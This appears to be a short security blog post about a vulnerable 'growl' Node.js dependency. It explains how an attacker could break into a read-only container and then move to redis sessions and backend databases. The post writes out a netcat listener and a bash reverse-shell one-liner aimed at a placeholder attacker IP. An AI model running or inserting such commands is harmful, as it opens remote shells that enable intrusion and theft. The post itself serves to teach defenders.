You’ve got a web site. You’re very proud of it, it sells the finest products. Security is superb, you’ve made the container be read-only (so you know nothing can get on there). There’s only 1 port open (443) which goes to node.js. How could anybody get in?
Well lets say that your node.js app uses a lockfile for building. They all do, otherwise you are in dependency hell right? And, you use ‘growl’. Its part of the stack.
There’s a vulnerability in that, its documented here. But you don’t know about this. You run Static Application Security Testing (SAST) using Clair, and it didn’t mention anything. This is because Clair doesn’t do Javascript (maybe you meant to look at retire.js?)
Some miscreant wanders by and makes a guess you’re using growl. What do they do? Well… On some server on the Internet they have access to, they run:
nc -nvlp 9999
and then, courtesy of that CVE, they run:
bash -i >& /dev/tcp/THEIR-IP/9999 0>&1
What is this magic? Well, the first line, this gives them a simple service that sits and waits. The second, the one that is surreptitiously inserted into your server, runs bash w/ that destination as stdin/stdout.
Huh. Well at least the image is read-only, they couldn’t put software on there. But do they need to? Now they have a full proxy server and local access inside your trusted enclave. The perimeter is breached. I wonder if that node.js web server uses redis to hold the session store? Well, now they can query the redis and find someone else’s session.
Maybe the front end can directly access the backend databases, skipping an API server that’s in the middle? After all, who would bother with internal firewalls?
Some have termed this method ‘living off the land‘, that is, using no malware, just local tools that pre-exist. Makes anti-virus useless.
Got a fix? Post it in the comments? Smugly think this can’t happen to you? Post your URL for the hordes to try 🙂
Leave a Reply